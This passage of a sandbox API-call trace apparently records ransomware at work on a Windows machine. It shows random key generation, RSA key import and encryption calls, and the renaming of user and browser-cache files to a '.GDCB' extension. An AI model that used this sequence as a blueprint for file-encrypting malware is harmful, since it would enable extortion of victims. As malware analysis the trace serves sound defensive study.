[0291.356] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.363] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 0 [0291.451] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.458] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.458] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.458] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.458] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0291.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.465] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.466] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.468] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aa3b0) returned 1 [0291.468] CryptGetKeyParam (in: hKey=0x67aa3b0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.468] CryptEncrypt (in: hKey=0x67aa3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.468] GetLastError () returned 0x0 [0291.468] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.469] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.471] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aabb0) returned 1 [0291.471] CryptGetKeyParam (in: hKey=0x67aabb0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.471] CryptEncrypt (in: hKey=0x67aabb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.471] GetLastError () returned 0x0 [0291.471] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.471] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.472] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.475] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.479] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x3b10, lpOverlapped=0x0) returned 1 [0291.488] VirtualAlloc (lpAddress=0x0, dwSize=0x3b10, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.495] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js.gdcb")) returned 1 [0291.498] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0291.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.505] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.505] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.505] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.505] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.513] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.513] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.513] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.514] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.516] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67ab0b0) returned 1 [0291.516] CryptGetKeyParam (in: hKey=0x67ab0b0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.516] CryptEncrypt (in: hKey=0x67ab0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.516] GetLastError () returned 0x0 [0291.516] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.516] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.519] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aa9b0) returned 1 [0291.519] CryptGetKeyParam (in: hKey=0x67aa9b0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.519] CryptEncrypt (in: hKey=0x67aa9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.519] GetLastError () returned 0x0 [0291.519] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.519] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.520] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.524] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.528] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x1f3b0, lpOverlapped=0x0) returned 1 [0291.536] VirtualAlloc (lpAddress=0x0, dwSize=0x1f3b0, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.546] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js.gdcb")) returned 1 [0291.550] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.556] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.557] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0291.561] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.564] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.564] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.564] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.567] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aad70) returned 1 [0291.567] CryptGetKeyParam (in: hKey=0x67aad70, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.567] CryptEncrypt (in: hKey=0x67aad70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.567] GetLastError () returned 0x0 [0291.567] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.567] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.570] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aa9f0) returned 1 [0291.570] CryptGetKeyParam (in: hKey=0x67aa9f0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.570] CryptEncrypt (in: hKey=0x67aa9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.570] GetLastError () returned 0x0 [0291.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.570] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.571] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.574] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.577] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x3f10, lpOverlapped=0x0) returned 1 [0291.585] VirtualAlloc (lpAddress=0x0, dwSize=0x3f10, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.592] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js.gdcb")) returned 1 [0291.595] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.601] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.601] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.601] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.611] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.612] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.615] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.617] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaab0) returned 1 [0291.617] CryptGetKeyParam (in: hKey=0x67aaab0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.617] CryptEncrypt (in: hKey=0x67aaab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.618] GetLastError () returned 0x0 [0291.618] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.618] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.621] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aacb0) returned 1 [0291.621] CryptGetKeyParam (in: hKey=0x67aacb0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.621] CryptEncrypt (in: hKey=0x67aacb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.622] GetLastError () returned 0x0 [0291.622] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.622] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.623] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.626] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.629] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x26a90, lpOverlapped=0x0) returned 1 [0291.638] VirtualAlloc (lpAddress=0x0, dwSize=0x26a90, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.647] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js.gdcb")) returned 1 [0291.650] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.656] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.656] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.656] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0291.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.661] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.662] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0291.664] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aadf0) returned 1 [0291.664] CryptGetKeyParam (in: hKey=0x67aadf0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.664] CryptEncrypt (in: hKey=0x67aadf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.665] GetLastError () returned 0x0 [0291.665] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.665] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.667] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaf30) returned 1 [0291.667] CryptGetKeyParam (in: hKey=0x67aaf30, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.667] CryptEncrypt (in: hKey=0x67aaf30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.667] GetLastError () returned 0x0 [0291.667] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.667] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css"), 